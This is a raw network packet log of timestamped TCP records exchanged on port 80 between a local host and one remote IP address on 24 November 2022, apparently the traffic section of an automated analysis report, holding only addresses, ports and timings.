Nov 24, 2022 13:27:53.216479063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216483116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216505051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216506958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216535091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216536999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216552019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216561079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216586113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216610909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216618061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216636896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216650009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216661930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216680050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216686964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216701031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216711044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216720104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216736078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216741085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216759920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216763973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216788054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216806889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216870070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216892958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216914892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216916084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216941118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216941118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216959953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216964960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.216984034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.216988087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217006922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217011929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217031002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217037916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217052937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217061996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217080116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217084885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217104912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217111111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217125893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217134953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217154026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217159986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217176914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217185020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217200994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217207909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217223883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217231035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217253923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217257023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217278004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217282057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217303038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217307091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217334032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217358112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217379093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217382908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217410088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217433929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217438936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217438936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217453003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217456102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217483044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217505932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217515945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217515945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217530966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217549086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217564106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217581987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217588902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217593908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217612982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217626095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217639923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217653036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217664957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217664957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217689991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217699051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217710972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217714071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217740059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217756033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217763901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217772007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217786074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217803001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217812061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217832088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217839003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217856884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217864990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217880964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217890024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217912912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217916012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217922926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217942953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217967987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.217983961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.217995882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218023062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218035936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218046904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218048096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218070030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218080044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218090057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218111038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218131065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218136072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218158960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218163967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218183994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218189001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218213081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218214035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218236923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218244076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218260050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218277931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218286991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218310118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218312025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218321085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218334913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218343019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218355894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218374968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218393087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218410969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218430996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218450069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218468904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218491077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218511105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218543053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218569040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218575954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218594074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218597889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218612909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218616009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218626976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218645096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218647957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218664885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218667984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218687057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218698025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218703985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218718052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218729019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218746901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218753099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218765020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218779087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218787909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218812943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218812943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218838930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218846083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218858957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218897104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218903065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218903065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218903065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218918085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218950987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218962908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218976021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.218995094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.218996048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219012976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219026089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219031096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219048023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219052076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219064951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219072104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219084024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219106913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219108105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219130039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219136000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219153881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219172955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219188929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219208956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219208956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219213009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219230890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219233036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219252110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219259977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219274998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219280958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219296932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219305038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219316006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219322920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219333887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219341040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219353914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219360113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219377995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219397068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219398022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219398975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219422102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219425917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219444990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219456911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219464064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219476938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219485998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219507933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219516993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219516993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219527960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219533920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219552040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219554901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219569921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219571114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219592094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219614983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219629049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219634056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219651937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219661951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219677925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219685078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219697952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219717026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219726086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219734907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219769955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219800949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219800949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219806910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219826937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219844103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219866037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219871044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219886065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219897032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219904900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219923973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219929934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219949007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219949961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219968081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219990015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.219994068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.219994068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220007896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220016003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220026970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220048904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220053911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220053911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220067978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220089912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220118999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220136881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220138073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220160961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220165968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220180035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220181942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220201015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220212936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220223904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220242023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220246077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220263004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220274925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220295906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.220298052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.220339060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240556002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240590096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240614891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240639925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240674973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240685940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240700006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240711927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240725994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240731001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240751028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240772963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240783930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240798950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240809917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240834951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240858078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240860939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240886927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240886927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240912914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240919113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240940094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240942955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240962982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.240964890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.240991116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241003036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.241014957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241040945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241065025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.241065979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.241066933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241091013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241115093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.241121054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.241147041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.241173029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242408991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242436886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242464066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242492914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242494106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242518902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242520094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242551088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242556095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242579937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242585897 CET	49702	80	192.168.2.4	66.235.200.147
